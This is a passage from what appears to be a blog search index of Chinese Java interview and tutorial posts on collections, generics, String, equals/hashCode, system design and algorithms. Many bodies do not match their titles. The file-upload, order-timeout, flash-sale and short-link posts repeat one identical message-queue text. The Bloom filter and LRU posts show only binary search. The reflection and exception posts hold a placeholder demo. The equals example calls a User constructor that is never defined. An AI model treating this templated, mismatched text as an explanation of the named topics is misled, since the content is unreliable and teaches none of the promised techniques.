使用分段锁，Java 8 使用 CAS + synchronized</p></li><li><p>锁粒度从段级别降到了节点级别</p></li><li><p>使用红黑树优化链表的查询性能</p></li><li><p>支持原子操作，如 putIfAbsent、computeIfAbsent</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：HashMap 底层结构和扩容过程</title>
      <link href="//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/"/>
      <url>//hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：HashMap-底层结构和扩容过程"><a href="#面试：HashMap-底层结构和扩容过程" class="headerlink" title="面试：HashMap 底层结构和扩容过程"></a>面试：HashMap 底层结构和扩容过程</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：ArrayList 扩容机制和使用建议</title>
      <link href="//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/"/>
      <url>//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：ArrayList-扩容机制和使用建议"><a href="#面试：ArrayList-扩容机制和使用建议" class="headerlink" title="面试：ArrayList 扩容机制和使用建议"></a>面试：ArrayList 扩容机制和使用建议</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Java 反射的使用场景和风险</title>
      <link href="//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/"/>
      <url>//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Java-反射的使用场景和风险"><a href="#面试：Java-反射的使用场景和风险" class="headerlink" title="面试：Java 反射的使用场景和风险"></a>面试：Java 反射的使用场景和风险</h1><p>Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Java 异常体系和业务异常设计</title>
      <link href="//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/"/>
      <url>//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Java-异常体系和业务异常设计"><a href="#面试：Java-异常体系和业务异常设计" class="headerlink" title="面试：Java 异常体系和业务异常设计"></a>面试：Java 异常体系和业务异常设计</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Java 泛型的类型擦除到底是什么</title>
      <link href="//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/"/>
      <url>//java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Java-泛型的类型擦除到底是什么"><a href="#面试：Java-泛型的类型擦除到底是什么" class="headerlink" title="面试：Java 泛型的类型擦除到底是什么"></a>面试：Java 泛型的类型擦除到底是什么</h1><p>泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。</p><h2 id="泛型解决了什么问题"><a href="#泛型解决了什么问题" class="headerlink" title="泛型解决了什么问题"></a>泛型解决了什么问题</h2><p>没有泛型时，集合里什么都能放：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">List</span> <span class="variable">list</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">Integer</span> <span class="variable">value</span> <span class="operator">=</span> (Integer) list.get(<span class="number">0</span>); <span class="comment">// 运行时报错</span></span><br></pre></td></tr></table></figure><p>使用泛型后，编译期就能发现问题：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">value</span> <span class="operator">=</span> list.get(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><h2 id="类型擦除的影响"><a href="#类型擦除的影响" class="headerlink" title="类型擦除的影响"></a>类型擦除的影响</h2><p>运行时 <code>List&lt;String&gt;</code> 和 <code>List&lt;Integer&gt;</code> 都会被擦除成 <code>List</code>。所以不能这样判断：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译不通过</span></span><br><span class="line"><span class="keyword">if</span> (list <span class="keyword">instanceof</span> List&lt;String&gt;) &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Java String 为什么设计成不可变</title>
      <link href="//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/"/>
      <url>//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Java-String-为什么设计成不可变"><a href="#面试：Java-String-为什么设计成不可变" class="headerlink" title="面试：Java String 为什么设计成不可变"></a>面试：Java String 为什么设计成不可变</h1><p>String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。</p><h2 id="不可变是什么意思"><a href="#不可变是什么意思" class="headerlink" title="不可变是什么意思"></a>不可变是什么意思</h2><p>下面的代码看起来像修改了字符串：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line">name = name + <span class="string">&quot;-blog&quot;</span>;</span><br></pre></td></tr></table></figure><p>实际上原来的 <code>java</code> 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。</p><h2 id="为什么这样设计"><a href="#为什么这样设计" class="headerlink" title="为什么这样设计"></a>为什么这样设计</h2><ul><li>线程安全：多个线程共享同一个字符串，不会互相改坏。</li><li>哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。</li><li>常量池复用：相同字面量可以复用，减少内存浪费。</li></ul><h2 id="什么时候用-StringBuilder"><a href="#什么时候用-StringBuilder" class="headerlink" title="什么时候用 StringBuilder"></a>什么时候用 StringBuilder</h2><p>循环拼接大量字符串时，不要一直用 <code>+</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">StringBuilder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">    builder.append(i).append(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> builder.toString();</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Java 中 equals 和 hashCode 的正确理解</title>
      <link href="//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/"/>
      <url>//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Java-中-equals-和-hashCode-的正确理解"><a href="#面试：Java-中-equals-和-hashCode-的正确理解" class="headerlink" title="面试：Java 中 equals 和 hashCode 的正确理解"></a>面试：Java 中 equals 和 hashCode 的正确理解</h1><p>Java 里判断对象是否相等，不能只看 <code>==</code>。<code>==</code> 比较的是引用地址，<code>equals</code> 通常表示业务意义上的相等。只要重写 <code>equals</code>，一般也要重写 <code>hashCode</code>，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。</p><h2 id="一个最小例子"><a href="#一个最小例子" class="headerlink" title="一个最小例子"></a>一个最小例子</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span> == o) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">if</span> (!(o <span class="keyword">instanceof</span> User)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> (User) o;</span><br><span class="line">        <span class="keyword">return</span> Objects.equals(id, user.id);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Objects.hash(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="为什么-hashCode-也要改"><a href="#为什么-hashCode-也要改" class="headerlink" title="为什么 hashCode 也要改"></a>为什么 hashCode 也要改</h2><p>HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Set&lt;User&gt; users = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">System.out.println(users.size()); <span class="comment">// 期望输出 1</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：文件上传服务如何保证稳定</title>
      <link href="//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/"/>
      <url>//wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：文件上传服务如何保证稳定"><a href="#教程：文件上传服务如何保证稳定" class="headerlink" title="教程：文件上传服务如何保证稳定"></a>教程：文件上传服务如何保证稳定</h1><p>文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：订单超时取消如何实现</title>
      <link href="//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/"/>
      <url>//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：订单超时取消如何实现"><a href="#教程：订单超时取消如何实现" class="headerlink" title="教程：订单超时取消如何实现"></a>教程：订单超时取消如何实现</h1><p>教程：订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：秒杀系统的核心设计思路</title>
      <link href="//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/"/>
      <url>//miao-sha-xi-tong-de-he-xin-she-ji-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：秒杀系统的核心设计思路"><a href="#教程：秒杀系统的核心设计思路" class="headerlink" title="教程：秒杀系统的核心设计思路"></a>教程：秒杀系统的核心设计思路</h1><p>秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：短链接系统如何设计</title>
      <link href="//duan-lian-jie-xi-tong-ru-he-she-ji/"/>
      <url>//duan-lian-jie-xi-tong-ru-he-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：短链接系统如何设计"><a href="#教程：短链接系统如何设计" class="headerlink" title="教程：短链接系统如何设计"></a>教程：短链接系统如何设计</h1><p>短链接系统是一个经典的系统设计题。本文讲它的核心思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：布隆过滤器适合解决什么问题</title>
      <link href="//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/"/>
      <url>//bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：布隆过滤器适合解决什么问题"><a href="#教程：布隆过滤器适合解决什么问题" class="headerlink" title="教程：布隆过滤器适合解决什么问题"></a>教程：布隆过滤器适合解决什么问题</h1><p>布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：LRU 缓存淘汰算法动手实现</title>
      <link href="//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/"/>
      <url>//lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：LRU-缓存淘汰算法动手实现"><a href="#教程：LRU-缓存淘汰算法动手实现" class="headerlink" title="教程：LRU 缓存淘汰算法动手实现"></a>教程：LRU 缓存淘汰算法动手实现</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：二分查找为什么容易写错</title>
      <link href="//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/"/>
      <url>//er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/</url>
      
